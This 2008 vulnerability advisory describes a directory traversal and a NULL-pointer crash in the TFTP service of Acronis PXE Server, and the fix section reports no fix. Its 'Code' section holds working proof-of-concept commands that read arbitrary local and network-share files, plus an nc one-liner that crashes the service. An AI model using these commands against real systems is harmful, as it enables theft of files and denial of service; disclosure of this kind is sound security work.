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Acronis PXE Server 2.0.0.1076 Directory traversal and NULL pointer

Directory traversal and NULL pointer in Acronis PXE Server 2.0.0.1076 Directory traversal and NULL pointer in Acronis PXE Server 2.0.0.1076



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                             Luigi Auriemma

Application:  Acronis PXE Server
http://www.acronis.com/enterprise/products/snapdeploy/ 
Versions:     <= 2.0.0.1076
Platforms:    Windows
Bugs:         A] directory traversal
              B] NULL pointer
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
e-mail: aluigi@autistici.org 
              web:    aluigi.org


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1) Introduction
2) Bugs
3) The Code
4) Fix


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==============1) Introduction
==============

The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.


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======2) Bugs
======
----------------------
A] directory traversal
----------------------

The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.


---------------
B] NULL pointer
---------------

An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.


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==========3) The Code
==========

A]
http://aluigi.org/testz/tftpx.zip 

  tftpx SERVER ..\../..\../boot.ini none
  tftpx SERVER c:\boot.ini none
  tftpx SERVER \\internal_host\documents\file.txt none

B]
send the bytes 00 01 to UDP port 69 of the server:

  echo -n -e \x00\x01|nc SERVER 69 -v -v -u



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=====4) Fix
=====

No fix


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--- 
Luigi Auriemma
http://aluigi.org